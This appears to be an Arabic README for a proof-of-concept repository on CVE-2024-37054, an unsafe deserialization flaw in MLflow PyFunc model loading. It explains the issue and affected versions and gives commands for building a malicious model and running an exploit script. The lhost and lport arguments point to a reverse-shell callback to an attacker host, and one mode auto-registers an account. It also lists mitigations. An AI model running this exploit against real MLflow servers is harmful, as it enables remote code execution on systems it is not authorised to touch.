
مستودع إثبات مفهوم وبحثي لـ CVE-2024-37054، وهو خلل في إلغاء التسلسل غير الآمن في تحميل نموذج MLflow PyFunc يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
يوثّق هذا المستودع البحث في CVE-2024-37054، وهي مشكلة إلغاء تسلسل غير آمن تؤثر على معالجة نماذج PyFunc في MLflow.
في إصدارات MLflow المتأثرة، قد يؤدي تحميل نموذج PyFunc غير موثوق إلى قيام منطق إلغاء التسلسل في Python بمعالجة كائن مُسلسَل يحتوي على سلوك يتحكم فيه المهاجم. إذا تم تحميل أصل غير موثوق، فقد يُنفَّذ كود بصلاحيات المستخدم أو الخدمة التي تنفذ عملية تحميل النموذج.
تشمل الإصدارات المتأثرة المذكورة في التنبيهات العامة:
MLflow 0.9.0 through 2.14.1
الخطر الأساسي ليس مجرد "رفع نموذج". تكمن الخطورة عندما يقوم تطبيق أو محلل أو عامل أو منصة تعلّم آلي بتحميل أصل نموذج مُسلسَل غير موثوق.
تشمل التأثيرات المحتملة:
build_model.py
ينشئ أصل نموذج اختباري مُتحكَّم به لاستخدامه في بيئة مختبرية خاصة ومصرّح بها.
exploit.py
أتمتة إثبات مفهوم خاصة تُستخدم فقط للتحقق من مسار الثغرة في بيئة تدريب مصرّح بها. لا يتضمن هذا المستودع أهدافًا حية أو بيانات اعتماد أو رموز جلسات أو ملفات تهيئة VPN أو حمولات مدمّرة.
شغّل إثبات المفهوم هذا فقط في بيئة مختبرية مصرّح بها.
أنشئ أصل النموذج المُتحكَّم به:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
إذا لم يكن لديك جلسة موثّقة بالفعل، استخدم وضع التسجيل التلقائي:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
ينشئ هذا الوضع حسابًا مختبريًا مؤقتًا، ويوثّق الدخول إلى التطبيق، ثم يتابع سير عمل تسجيل النموذج والتحقق منه.
إذا كانت لديك جلسة مصرّح بها صالحة بالفعل، مرّرها مباشرة:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
استبدل:
<YOUR_IP> بعنوان IP الذي يمكن الوصول إليه من هدف المختبر المصرّح به.4444 بمنفذ الاستماع المستخدم في مختبرك.<SESSION_TOKEN> بقيمة جلستك النشطة المصرّح بها.لا تنشر أبدًا رموز جلسات حقيقية أو بيانات اعتماد أو ملفات VPN أو عناوين أهداف أو تفاصيل الاستدعاء الراجع.
ينبغي للمؤسسات التي تستخدم MLflow أن تتعامل مع أصول النماذج كمدخلات غير موثوقة ما لم يتم التحقق من مصدرها وسلامتها.
الضمانات الموصى بها:
هذا المشروع مخصص للبحث الدفاعي والتعليم والاختبار الأمني المصرّح به فقط. تم تقييم سير عمل إثبات المفهوم فقط في بيئة تدريب مُتحكَّم بها. لا تختبر هذه الثغرة ضد أنظمة أو حسابات أو خدمات أو شبكات دون تصريح كتابي صريح.